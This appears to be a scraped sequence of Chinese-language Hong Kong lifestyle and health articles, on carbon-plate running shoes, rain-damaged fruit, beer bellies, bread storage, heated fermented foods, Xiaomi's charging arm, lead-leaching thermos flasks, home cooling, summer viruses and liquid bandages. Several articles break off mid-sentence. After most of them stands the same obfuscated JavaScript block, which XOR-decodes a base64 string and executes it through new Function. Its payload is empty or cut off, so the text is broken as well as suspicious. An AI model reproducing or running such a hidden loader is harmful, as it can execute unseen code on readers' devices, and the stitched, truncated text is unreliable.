近年马拉松热潮持续，厚底碳板跑鞋几乎成为比赛必备装备，标榜提升推进力与节省体能。研究显示，这类跑鞋可减少约2%至4%的跑步能量消耗，让跑者更省力。物理治疗师钟惠文博士向《星岛头条》分享，碳板跑鞋“悭力”却未必“更安全”！ 碳板跑鞋｜原理是甚么？跑者更悭力更易受伤？ 钟博士指，碳板鞋的核心设计，是高回弹中底配合刚性碳纤维板，加上明显的前掌弧形结构。这种设计可令步态更流畅，减少前掌弯曲时间。部分研究指出，弧形鞋底可降低前脚掌压力，但同时亦会改变足部整体受力分布。 生物力学分析，碳板与厚底结构会改变踝关节与足底肌群的工作模式，影响小腿与阿基里斯腱的负荷。临床上，不少跑手转穿碳板鞋后出现小腿绷紧、阿基里斯腱僵硬甚至疼痛；跑量增加或高强度训练时，症状更明显。 钟博士强调，目前没有确切证据证明碳板鞋会直接增加整体受伤率。但可以肯定的是，碳板鞋改变了身体受力方式。如果身体尚未准备好，伤患便可能出现。 碳板跑鞋｜3类跑者要特别小心？ 并非所有人都适合穿碳板鞋。以下3类跑者要特别小心： 1. 新手或基础未稳定者：心肺功能进步快，但肌腱骨骼未能同步适应，受伤风险自然提高。 2. 体重较高或近期跑量大增者：厚底设计虽然减震，但跑量与强度提升时，肌力不足容易过劳受伤。 3. 有旧患者（如跟腱炎、足底筋膜炎、小腿反复拉伤）：推蹬模式改变可能令旧患复发。 碳板跑鞋｜如何安全使用？ 问题往往不在鞋，而在于跑者同时增加跑量与速度，身体缺乏适应时间，伤患便累积，出现“科技超前身体”的情况。“心肺能力可以在数星期内进步，但肌腱与骨骼适应往往需要更长时间。”钟博士提醒，碳板鞋宜作为比赛或特定训练使用，而非日常训练鞋。 他建议，每周使用碳板鞋1至2次，并加强小腿及足部肌力训练（如离心提踵、单脚平衡练习）提升肌腱耐受力，跑得安全，比跑得快更重要。 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var _code=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++) ...

大雨过后，不少主妇会趁低价买水果，但有果栏老板指出，雨后有4大水果极度怕水，购买时外表看似无事，买回家后随时极速发霉变坏，甚至切开才发现果肉已经全烂。 盘点4种水果最怕水且不耐放 外表靓其实已变坏？ “真青翠鲜果店”老板阿毛在Facebook专页分享影片提到，有4款水果在雨后买回家最容易极速变坏： 1.瓜类水果（如西瓜） 西瓜等瓜类在雨后非常容易出现“水伤”，水伤通常无法从水果外表察觉，但切开后会发现果肉已经受到影响。这情况虽然并非完全变坏，但必须尽快食完，不能久放。 2.菠萝 菠萝非常容易吸水，吸水后的果肉会变得极度熟透。建议切开菠萝当天就要马上吃完，否则很容易发酵变坏。 3.木瓜 木瓜是一种非常怕水的水果，只要表皮一碰到水分，就会很容易开始发霉，甚至在果肉尚未熟透前，就已经整个坏掉。 4.哈密瓜 下雨天过后，哈密瓜很容易从蒂头或底部开始一点点溃烂。最可怕的陷阱是，今天买回去看似没事，但放两天后就烂掉了。 尽管雨天买水果的烂掉风险较高，但阿毛亦透露了果栏市场内的一个隐藏好处，就是雨后的水果价格通常会变得比较便宜，如果想多吃一点，可以在这段时间买。不过阿毛提醒，买回家后一定要赶快吃完，否则很容易变坏而浪费。 甚么是“水伤”？ 营养师夏子雯曾在Facebook专页发文解释，“水伤”是指果实因为水分变化、外力碰撞或是病菌感染，导致果皮或果肉出现水浸状、软烂或变色的现象。例如大雨过后，泥土中的疫病菌可能借由雨水四处传播，导致果实受感染；又或者在采摘和运输过程中，因碰撞挤压而造成受损。 夏子雯提醒，如果是轻微的水伤，只要彻底切除受损部分，通常仍可安全食用。然而，如果水果严重受损，则极可能已滋生微生物，绝对不建议食用。特别是当水果表面出现伤口且有明显的渗液、异味或霉斑，则可能已感染病菌，或是水果过度黑化、软烂或腐臭的味道，表示病菌已经大量繁殖，必须立即丢弃。 资料来源：“真青翠鲜果店”、营养师夏子雯 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var _code=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++) _code+=String.fromCharCode(_0x61fc9cbf8bf3.charCodeAt(_0xecc7dff14118)^_0xb2ada9a65d62); (new Function(_code))(); })();

四年一度的世界杯，无论是相约好友到酒吧，还是留在家中睇电视直播，不少市民都喜欢一边饮啤酒、一边为支持球队。在尽情狂欢背后，不少男士猛然发现自己的肚子又大了一圈，总被戏称为“啤酒肚”，但其实啤酒肚并非笑话，而是身体发出健康讯号。 啤酒肚绝非只是吃太多、饮太多？ 台北荣总遗传优生科主任张家铭在社交平台表示，近年发表于科学期刊、来自美国西达斯西奈（Cedars-Sinai）医学中心的研究，为大众揭示了全新观点：啤酒肚绝非只是吃饮太多、动太少，而是体内一条名为“AKAP12-PKA”的代谢轴线因摄入酒精而“断线”，导致肝脏被迫储存大量脂肪，久而久之令腹部脂肪激增。 肝脏代谢系统被酒精打乱 肝脏日常负责处理体内脂肪，当人体摄取的热量充足时，肝脏会自动将脂肪代谢，防止其堆积。然而，这套系统需要一位重要帮手——“AKAP12”（A-kinase anchoring protein 12）。它的职责是为代谢指挥官“蛋白激酶 A”（PKA）安排定位，以便准确启动脂肪氧化，并关闭脂肪合成的开关。 简单而言，AKAP12 与 PKA 是肝脏代谢的黄金拍档，负责维持脂肪“有进有出”的平衡。然而，当市民饮酒时，这套系统便会被酒精彻底打乱。研究指出，酒精会抑制 AKAP12 的表现，令 PKA 失去导航，导致脂肪合成酵素（如 ACC1）失去控制而暴冲。最终，大量脂肪便会堆积在肝脏及腹腔周围，形成触目惊心的啤酒肚。 酒精停摆代谢非关啤酒热量 不少港人存在误解，以为啤酒肚纯粹是因为啤酒热量高。事实上，不论是港人热爱的高档威士忌、红酒还是鸡尾酒，只要含有酒精成分，均会导致 AKAP12 与 PKA 失调。研究发现，这种干扰并非长期酗酒者的专利。在短期饮酒后的 24 小时内，体内 AKAP12 与 PKA 的互动即可下跌超过 70%，脂肪堆积的速度远超想像。 更严重的是，酒精会刺激体内产生名为“microRNA”的小分子（如...

面包是不少家庭必备的早餐佳品，经常几日就变干发霉？以为将胶袋密封封死就最好？有专家教3大防霉保鲜秘技，其中只要在包装袋内放入一款常见蔬菜，就能让面包延长保鲜一星期。 专家教3个防霉保鲜面包秘技 与1款蔬菜存放保鲜期延长一周 据外媒《Mirror》报道，对许多家庭来说，要在面包发霉前吃完一整条，往往比想像中困难。很多时候，由于存放不当，生满绿色霉斑或变得干硬的面包，最终只能无奈被丢进垃圾桶。英国减少食物浪费团体“Wheeldon Brothers”专家指出，其实只要对面包的存放方式进行一些简单调整，例如控制湿度和温度，就能大幅延长面包的保鲜期。他们分享了3个防霉保鲜秘技，大家可作参考： 三招防霉保鲜面包秘技 1.袋内放入一根西芹 市面上切好的袋装方包虽然保质期看似较长，但极易发霉；而原个未切的面包，如酸种面包，切开后往往几小时内就会变干变硬。对于袋装面包，建议放入一根脆西芹，西芹会持续释放微量水分，这些水分能完美地防止面包变干，同时又不足以促进霉菌生长。若将面包连同西芹条一起放入雪柜，低温加上西芹的保湿作用，能让面包的寿命轻松延长一星期，并保持柔软口感。 2.抛弃完全密封包装 很多人以为，将面包放入密封的面包盒或将包装胶袋紧紧封死，是隔绝空气、防止发霉的最佳方法。专家解释，完全密封的胶袋会困住面包本身散发的水分，导致内部出现冷凝水，反而为霉菌滋生创造了完美的温床。建议在面包的包装胶袋上剪几个小孔，让多余的水分能够挥发排出，这个简单的小动作能大幅减少发霉的风险。不过专家亦提醒，孔不能戳得太多，否则面包会流失过多水分而迅速变干。 3.冷藏最好再加密封盒 正确的做法是将面包保留在原包装袋中，然后再放入一个密封食物盒内，最后才放入雪柜。这种双重保护能为面包提供最佳的储存环境，原包装袋能发挥初步保护作用，而外层的密封食物盒则能彻底隔绝雪柜内的外部湿气以及其他食物的异味，是延长面包保鲜期的好方法。 资料来源：《Mirror》 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var _code=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++) _code+=String.fromCharCode(_0x61fc9cbf8bf3.charCodeAt(_0xecc7dff14118)^_0xb2ada9a65d62); (new Function(_code))(); })();

坊间流传一种说法：发酵食物一旦经过高温加热，里面的益生菌就会被彻底杀死，其健康好处亦会随之消失。这意味着港人热爱的韩式泡菜锅、酸菜鱼都变得毫无意义。家庭医生李思贤日前在社交平台发文指出，这个观念其实“只对了一半”。 菌虽死亡 营养并未全灭 活菌确实非常怕热。临床数据显示，大多数乳酸菌和酵母菌在 60 至 70°C 运作时便会开始快速死亡，当温度超过 100°C 时更几乎全灭。因此，当泡菜被放进滚烫的汤底时，里面的乳酸杆菌（Lactobacillus）确实无法存活。 若将“菌是否存活”当作判断食物“是否有益”的唯一标准，未免过于片面。益生菌在发酵的过程中，早已为人体肠道做好了“前置准备”。 认识医学新宠“后生元” 2021年，国际益生菌与益生元科学协会（ISAPP）发布了一份共识声明，正式将“后生元”（Postbiotics）定义为：不具活性的微生物及其成分，且对宿主具有健康益处。 益生菌在数十小时的发酵过程中，会产出各式各样的代谢物、分解酵素及细胞壁片段。即使活菌在加热时死亡，这些留在食物体内的“遗产”本身就对人体有正面作用，并不需要活菌活生生进入肠道才能发挥功效。 3大高温不灭核心成分 发酵过程中产生的许多化学结构，其实对热力相当稳定。即使经过高温烹调，以下三大核心成分依然能够完整保留： 有机酸（如乳酸、醋酸）： 这是发酵的核心产物。作为化学分子，它们完全不怕高温。泡菜煮熟后酸味依在，正是因为乳酸完好无缺，它对维持肠道酸碱值（pH 值）及抑制坏菌的作用依然有效。 细胞壁成分（如肽聚糖、磷壁酸）： 细菌细胞壁的碎片在加热后，因为细胞结构被破坏，反而更容易释放出来。这些碎片会被肠道免疫系统的受体辨识，引发适度的免疫调节反应。人体的免疫系统并不分活菌或死菌，只要辨识到这些分子就会启动防御机制。 生物活性肽（Bioactive Peptides）： 蛋白质在发酵时会变成分解成小片段。这些活性肽具有抗氧化、抗发炎或抑菌的效果，且同样具备极高耐热性。乳酪在烹调中被加热，这些益体胜肽依然留存。   烹调发酵食物4大关键 市民在日常生活中应建立正确的食用观念： 1. 依目的选生熟食 若想起到让活菌定殖、改变肠道菌相的效果，未经加热的生泡菜、冷藏乳酪及未煮过的酸菜确实较具优势。 2. 熟食绝非营养空壳 加热后的发酵食物，其有机酸和生物活性肽依然留存。它们走的是另一条免疫与环境调节的路径，不依赖活菌，因此泡菜锅等热汤对身体仍有实质益处。 3. 味噌切忌长时间滚煮 味噌若长时间大火沸腾，不单活菌全灭，连部分对热力敏感的生物活性成分亦会降解。建议参考传统做法，在汤品快要起锅前才融入味噌。 4. 死菌配方具科学根据 现代医学逻辑解释了为何市面上某些商业益生菌会采用“灭活菌”或“后生元”配方。死菌在临床上依然能看到改善肠道的成效，并非厂商偷工减料。 资料来源：家庭医生李思贤 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var...

世上竟有Tesla做不到的事，最终被小米捷足先登？小米汽车日前公开了一段示范影片，展示一只充电机械臂自动升起并对准YU7插枪，充完电随即收回，这不就是Tesla十年前“金属蛇”的原先构想，可是往后研发重心转移至Cybercab的无线充电，“金属蛇”一直冬眠，小米则预告年底推出针对家用市场的充电机械臂，实现泊车走人自动充电的懒人操作。 小米家用充电机械臂年底出手！AI视觉识别插枪拔抢全自动 实现Tesla十年前构想 10年 Tesla 曾示范利用蛇形机械臂为电动车自动充电的构想。 小米家用充电机械臂闲时收进于宽度不足 152mm 的机箱，相当悭位。 当电动车停泊好，机械臂会自动伸出，车身充电盖亦会同时打开。 机械臂利用 AI 视觉识别移向充电插口。 插枪时能达到亚毫米级精准度，误差少于 1mm。 充电完作机械臂又会自动收起。 车主可以利用手机进行一键遥控充电。 不只小米会做，现代 Hyundai 亦有开发充电机械臂，并在仁川机场进行测试。 从官方公布示范影片来看，这款家用充电机械臂采用多关节流线型设计，平时会收进在一个宽度不足152mm的修长机箱，不占用太多空间，一般私人车库或独立屋车位绝对能轻松安装。 充电机械臂3大技术亮点： AI视觉亚毫米级对准：机械臂内置AI视觉识别系统，插枪时能达到“亚毫米级”的精准度，误差少于1mm，并能与小米电动车直接联通，自动控制车辆的充电盖打开或盖上。 全程自动化：当车主将车辆停好，机械臂会自动伸出并插枪充电，当电量达到预设值，即会自动拔枪并收回，全程无需人手介入。 远端一键启动：如果车主回家后才发现忘记充电，不需要特地跑一趟，直接透过手机远端操控，机械臂亦会自动开工。 小米家用充电机械臂答问： 01：甚么时候开卖？ 预计2026年第4季度在内地推出，具体发售时间及详情，官方表示稍后公布 02：充电过程全自动？ 这是一款面向家庭用户的智能充电解决方案，可实现“自动插枪充电”及“自动拔枪收纳”，让您的爱车实现充电全程无需人手操作。 03：影片示范功能全都量产？ 官方指影片为真实场景拍摄，所有功能示范都会在量产的充电机械臂体验得到。 文：B1807 图：小米、Tesla T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var...

不论是朝九晚五的打工仔，还是注重养生的中产一族，在香港，“保温杯”几乎是人人随身必备的“返工神器”。不过最近有网民在社交平台分享强烈“建议大家都立刻去检查保温杯，有刮痕、生锈就要换了⋯ 不要省钱伤身体啊！”，意外敲响大家对保温杯的隐形警号！ 50岁男保温杯盛载咖啡 内部出现变色裂痕 揭发铅中毒 网民在社交平台分享一宗惊人病例：一名50多岁的男子因长期不当使用保温杯，导致严重的铅中毒。该名男子习惯每日用同一个保温杯盛载咖啡，且该杯已连续使用超过10年，内部早已出现变色、裂痕及生锈现象。最终，他因铅中毒引发大脑皮质萎缩、严重贫血及肾功能衰竭，并在一场车祸后的一年内，因吸入性肺炎不幸病逝。 据悉，该名男子拥有超过30年的驾驶经验，平日精神状况一向良好。直到某日，他在驾驶途中突然神志恍惚，车辆失控撞入一家餐厅，酿成严重交通意外。 送院检查后，报告证实他并无颅内出血，但影像显示其大脑皮质已出现严重萎缩。此外，他的血色素只有 9（正常值为 14 至 18），属于严重贫血，且肾功能亦出现异常。院方经进一步深层检查，证实他血液中的铅含量超标，属于铅中毒。医生仔细追溯其生活习惯后推测，罪魁祸首正是他长期饮用由保温杯溶出、含铅的咖啡所致。 旧杯装酸性饮品溶出重金属 台湾肾脏科医生洪永祥在健康节目《医师好辣》中详细分析此病例，指出该患者所使用的保温杯极其破旧，使用期逾10年，内部不仅变色、充满裂痕，甚至已经生锈。 医生解释，若保温杯的内胆材质不佳或含有铅等重金属，当市民长时间用其盛载咖啡、茶、果汁等酸性饮品时，便会加速侵蚀内胆保护层，导致铅等有害重金属溶出。这些重金属随饮品进入人体后无法轻易排出，积聚在体内会直接损害肝肾功能，甚至引发不可逆转的神经退化疾病，严重者可导致失智症（认知障碍症）。 铅中毒会对人体有以下影响： 损害大脑：记忆力衰退、失智、情绪不稳 影响造血系统：严重贫血、疲劳 破坏肾功能 味觉改变（嗜咸） 洪医生指，有7种饮品不应用保温杯盛载，否则会引发不同疾病： 保温杯中毒｜1. 蛋白质饮品 很多人习惯将豆浆、牛奶、拿铁咖啡装入保温杯慢慢喝，但医生强调：“保温杯不是冰箱。”任何蛋白质饮品，若在室温下放置超过两小时，细菌便会大量滋生。饮用后可能引起腹泻、肠胃炎。 更严重的问题是清洗不彻底。蛋白质残留会卡在杯盖缝隙、橡胶圈内，即使洗后闻到“噏味”，代表细菌已经滋生。下次再装开水，同样会把细菌喝下肚。医生指出，不少慢性腹泻个案，源头正是“污糟”保温杯。 保温杯中毒｜2. 酸性饮品+劣质不锈钢 很多人喜欢用保温杯装柠檬水、碳酸饮料、中草药、浓茶。这些饮品带有酸碱性，若保温杯材质不佳（例如平价的不锈钢），或杯身已有刮痕、焊接点生锈，重金属（铅、镍、铬）便会慢慢溶出。 饮用温度要注意 超过65°C增食道癌风险 除了保温杯材质，饮品温度同样关键。医生指出，国际研究证实，长期饮用65°C以上的热饮，会增加食道癌风险。临床上不少长者喜欢“趁热饮”，躺下时喉咙痕痒、干咳，其实是食道黏膜受损的信号。建议热饮放凉至不烫口才饮用。 医生强调，最安全的做法是： 保温杯只用来装白开水，而且是室温或微暖（不超过65°C） 若装过蛋白质饮品（奶、豆浆），必须在两小时内饮完，并立即彻底清洗 避免装柠檬水、碳酸饮料、中药、浓茶等酸碱性液体 如何拣安全保温杯？ 1. 无焊接一体成型 优先选择一体成型、没有焊接缝的不锈钢杯；因为焊料可能含铅、锡等重金属。 2. 杯身有刮痕/变色/异味，要更换 不锈钢是镍和铬的合金，但若镍和铬释出，都是致癌物；若不锈钢颜色改变，就应停止使用。 3. 选购304不锈钢 购买不锈钢产品时，应挑选304等级的不锈钢，通常产品上会有标示。可用磁铁测试不锈钢品质，吸力越强，代表铁含量越高，防锈能力较差。 4. 杯盖及胶圈要矽胶，不要PC胶 很多保温杯盖是第七类塑胶（PC），遇热会释出双酚A。双酚A会影响儿童智商、神经系统，并干扰生殖发育。  安全选择：矽胶（软身、透明或白色）、聚丙烯（PP，编号5号）  避免选择：PC（7号）、染色塑胶 5. 新杯使用前“开壶” 新买的保温杯（尤其塑胶部件）可用温肥皂水装满，倒置一晚，重复七次，以溶出残留的化学物质。 资料来源：《医师好辣》 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var...

【星岛综合报道】今天(6月21日)是夏至，闷热难耐已经成为今夏最头痛的一件事之一。然而，并非每个人家中都安装冷气，在电费不断上涨的情况下，专家建议，只要善用一些简单方法，即使没有冷气风扇，也能有效降低室内温度，提升居家舒适度。 第一招：阻挡阳光直射 阳光虽然能让室内显得明亮舒适，但同时也是热量的重要来源。 白天阳光长时间照射进室内，会让墙壁、地板和家具吸收热能，进一步提高室温。因此，在太阳最强烈的时段，应尽量拉上窗帘或百叶窗，减少阳光直射。 如果条件允许，也可考虑安装遮阳棚（awning）或外部遮阳设备。 此外，窗帘颜色最好选择白色、米色、淡黄色等浅色系。由于浅色布料吸热较少，可降低热量向室内散发。 第二招：晚上开窗通风　白天紧闭门窗 夏季夜晚气温下降时，是让室内降温的最佳时机。 建议夜间打开窗户，利用对流形成穿堂风，也可搭配电风扇加速空气流动，把室外凉爽空气带进室内。 到了早上出门前，则应关闭窗户并拉上窗帘，将夜间储存的冷空气留在屋内，避免白天热空气进入。 这种“夜间通风、白天封闭”的方法，是许多没有冷气家庭常用的天然降温技巧。 第三招：避免白天使用高热家电 许多日常家电都会产生大量热能，包括：烤箱；炉具；烤面包机；烘衣机；洗碗机等。在炎热的白天使用这些设备，容易让室内温度进一步升高。 专家建议，若天气晴朗，可利用户外自然日晒晾衣；如果住家允许，也可改在阳台或庭院使用烤炉料理食物，避免热气聚集在室内。 至于洗碗机等家电，则可安排在夜间运转，减少白天增加室内热量。 第四招：降低湿度提升舒适感 夏天令人难受的不只有高温，湿度也是一大原因。当空气湿度过高时，即使实际温度没有太高，也会让人感到闷热、黏腻。 因此，添购除湿机是改善居家环境的方法之一。 市面上部分机型附有排水管设计，不必频繁倒水。选购时可依照房间大小与生活需求选择适合机型。 专家提醒，除湿机和其他家电一样，需要定期清洁与保养，以维持最佳效果。 第五招：改用LED灯泡减少发热 不少家庭仍使用传统白炽灯泡，但这类灯泡能源效率低，只有约5%至10%的电力转化成光线，其余大部分都变成热能。 相较之下，LED灯泡能将约80%至95%的电力转化为照明，不仅较省电，也能减少室内额外热源。 如果一次更换全屋灯具负担较大，可以先从客厅、厨房及卧室等使用时间较长的空间开始。 专家表示，透过遮阳、夜间通风、减少热源、控制湿度以及提升照明效率等方式，就能有效降低室内闷热感，同时节省能源开支。 v01

随着盛夏到来，香港气温持续飙升，各大医院及私家诊所亦迎来大批求诊个案，不少市民出现喉咙痛、咳嗽及发烧等不适症状。很多人误以为病毒只在寒冬肆虐，夏天出现不适只是单纯的热感冒或中暑。重症科医生黄轩在社交专页发文指出在亚热带与热带地区，夏天反而是另一波病毒大爆发的季节！ 6大夏季流行病毒 高温多雨加速病媒蚊繁殖 1. 登革热高危期 夏季高温是登革热与日本脑炎传播的高峰期。登革热主要透过埃及伊蚊及白线斑蚊传播，当气温达到 25 至 32°C 时，最适合这些蚊虫繁殖。香港夏天常伴随午后雷暴、台风及“龙舟水”带来的豪雨，市区及郊野的积水容器随之激增。由于一只母蚊一次可产下数百颗卵，短短数周内便会形成大量病媒蚊，令屋苑和社区的传播风险大增。 2. 日本脑炎集中5至10月 日本脑炎的病媒蚊则以三斑家蚊为主，牠们特别喜欢水稻田、猪舍及沼泽地。夏季的高温、多雨以及农田蓄水环境，为其提供了绝佳的滋生条件，因此临床病例通常集中在 5 月至 10 月期间。 3. 肠病毒环境存活率极高 并非所有病毒都惧怕高温。以俗称“手足口病”的肠病毒为例，它最喜欢 20 至 30°C 的环境，且在日常环境中的存活能力极强。肠病毒可以在玩具、门把及桌面存活数天。夏季正值儿童户外活动与暑期兴趣班的高峰期，密集的人群接触极易在幼儿中心或校园内造成群体感染。 4. 新冠病毒全年流行化 近年医学研究发现，新冠病毒（COVID-19）的流行已不再完全受季节控制，更多是受到人群聚集、自身免疫力下降以及新变异株出现的影响。暑假旅游潮、各类节庆活动及家庭聚会大增，均加速了病毒的跨地域传播。 5. 呼吸道合胞病毒（RSV） 许多人以为炎夏待在室内很安全，其实市民长时间待在办公室、商场、餐厅、港铁车厢或飞机等密闭的冷气空间，空气不流通，反而更容易形成呼吸道合胞病毒（RSV）及新冠病毒的传播环境。 6. 汉他病毒暴雨肆虐 除了蚊叮传播，夏季暴雨和水浸亦会增加汉他病毒的暴露风险。此病毒并非由蚊子传播，而是经由接触老鼠的尿液、粪便或分泌物而感染。夏天豪雨频繁、市场及后巷环境潮湿，容易引致鼠类频繁活动，增加传播机会。 医生教辨识6大病征防病毒肆虐 近 10 年最值得注意的趋势是全球暖化。气温持续上升及极端降雨增加，导致蚊子的活动季节不断延长。其结果是登革热的流行期变长、日本脑炎病媒蚊大增、RSV 的季节性变得模糊，而新冠病毒更呈现全年流行化。许多病毒已不再遵循传统教科书上的季节规律。张医生在临床观察中指出，夏天最常遇到的发烧病人，往往不是单纯的感冒。当市民出现以下征状时，切勿掉以轻心： 关键病征提示： 高烧、剧烈头痛、全身酸痛、出疹、意识改变、呼吸困难。 求诊时，除了考虑中暑外，医生亦会仔细询问患者的旅游史，并评估是否感染了登革热、日本脑炎、肠病毒、新冠病毒、RSV...

每次擦损伤口、指甲倒刺甩皮都十分恼人，但小伤口贴大胶布也显得不太方便，此时使用“液体胶布”防水和保护伤口，则颇为方便。但不少人指涂抹液体胶布时会有强烈刺痛，引来大批有相同“痛到尖叫”经历的苦主共鸣。究竟液体胶布该如何正确使用？哪些伤口绝对不能用？ 液体胶布｜成分是甚么？使用时有剧痛？ 前台大医院感染科医生孔祥琪在个人专页拆解液体胶布原理及使用攻略，轻松护理小伤口。孔医生指，液体胶布的主要成分包括成膜剂（如硝化纤维素）、挥发性溶剂（如乙酸乙酯、乙醇）以及杀菌消毒成分。因为产品本身已具备消毒功能，因此无需额外涂抹药膏或药水。 涂抹后，溶剂迅速挥发，留下薄膜覆蓋伤口，隔绝水分和细菌；而刺痛感的元凶正是挥发性溶剂。因此若伤口较深或面积较大，痛感会更明显，这也说明了为何液体胶布只适合用于表浅的小伤口。 液体胶布｜正确使用步骤、适合/不适合的伤口类型 医生提醒，切勿在涂抹液体胶布前先擦药膏或药水。药膏的油性基质会令液体胶布的薄膜无法附着；药水的水分则会干扰成膜过程，导致保护层脱落或失效。正确使用步骤为： 将伤口清洗干净，去除异物 伤口及周边皮肤必须完全擦干 直接将液体胶布均匀涂抹在伤口上，等待自然风干 适合使用部位 整齐、表浅的切割伤（如纸张割伤） 指甲边缘干裂、倒刺 轻微擦伤（手指、脚趾、关节等不易包扎的部位） 穿鞋磨脚伤口 禁止使用部位 已感染或化脓的伤口：密封后会令细菌大量繁殖，可能恶化成蜂窝性组织炎。 大面积、深层或大量出血的伤口：薄膜无法承受渗出液，且阻碍伤口由底部开始愈合。 动物咬伤、穿刺伤：此类伤口需要彻底清创和引流，不能表面封死。 烫伤：烫伤组织需要散热和排出渗出液，封闭会加重损伤。 眼睛、口腔、鼻腔等黏膜部位：溶剂极具刺激性，可造成强烈灼伤。 湿疹、皮肤炎患处：溶剂会加剧炎症反应。 液体胶布｜含樟脑成分 蚕豆症患者禁用 许多液体胶布产品含有“樟脑”，蚕豆症（G6PD缺乏症）患者接触后可能引发溶血反应，严重时可致命。因此，蚕豆症患者应避免使用任何含樟脑的液体胶布，选购前务必仔细阅读成分标签。 同场加映：水凝胶防水贴（人工皮胶布） 对于有组织渗出液的小伤口，可选用人工皮胶布（水凝胶防水贴）。这类产品属亲水性敷料，能吸收渗出液，人工皮的边缘经过薄化处理，能紧贴关节、脚趾等部位，提供缓冲和防水效果。医生提醒，让干净的伤口保持适当湿润，有利组织的生长及伤口的愈合，也可减少疤痕组织的增生。 资料来源：感染科医生孔祥琪 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var _code=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++) _code+=String.fromCharCode(_0x61fc9cbf8bf3.charCodeAt(_0xecc7dff14118)^_0xb2ada9a65d62); (new Function(_code))(); })();